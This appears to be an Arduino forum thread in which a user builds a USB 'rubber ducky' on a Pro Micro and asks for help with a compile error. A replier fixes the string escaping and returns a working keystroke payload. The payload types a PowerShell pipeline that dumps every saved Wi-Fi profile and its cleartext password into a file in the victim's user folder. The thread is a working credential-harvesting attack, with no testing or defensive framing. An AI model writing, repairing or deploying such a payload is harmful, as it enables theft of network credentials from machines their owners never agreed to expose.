exit statys 1 - stray '\' in program | stray '$' in program

Hello,

Can someone explain to me how does the arduino IDE and the arduino it self andle special chars like $ and ?

The reason for the question:

I have this Arduino Pro Micro and im using it as a "rubber ducky". I making a script to display all wireless keys stored in a windows machine and it breacks at this point:

Keyboard.print("(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -Wrap | Out-File "$env:userprofile\ThePass.txt"");

If i put some ' before and after any \ i will get the same error code but for the $

Can someone help me and explain to me why this happends?

Thank you

" and \ (among others) are not allowed in a (print) string unless escaped (", \). Escape sequences

The special characters in a string constant are " and . To make them non-special, put a \ before them:

Keyboard.print(F(
    "(netsh wlan show profiles) | Select-String \"\\:(.+)$\" "
    "| %{$name=$_.Matches.Groups[1].Value.Trim(); $_} "
    "| %{(netsh wlan show profile name=\"$name\" key=clear)}  "
    "| Select-String \"Key Content\\W+\\:(.+)$\" "
    "| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} "
    "| %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} "
    "| Format-Table -Wrap | Out-File \"$env:userprofile\\ThePass.txt\""
));

I used the fact that adjacent string constants are treated as a single string constant to break the constant across multiple line to make it easier to read.

For string constants being passed to .print() or .println() it is a good idea to use the F() macro to keep them from using up precious RAM. The macro allows the string to be printed from FLASH memory rather than being copied to RAM first.

Thank you both, especially @johnwasser for the perfect explanation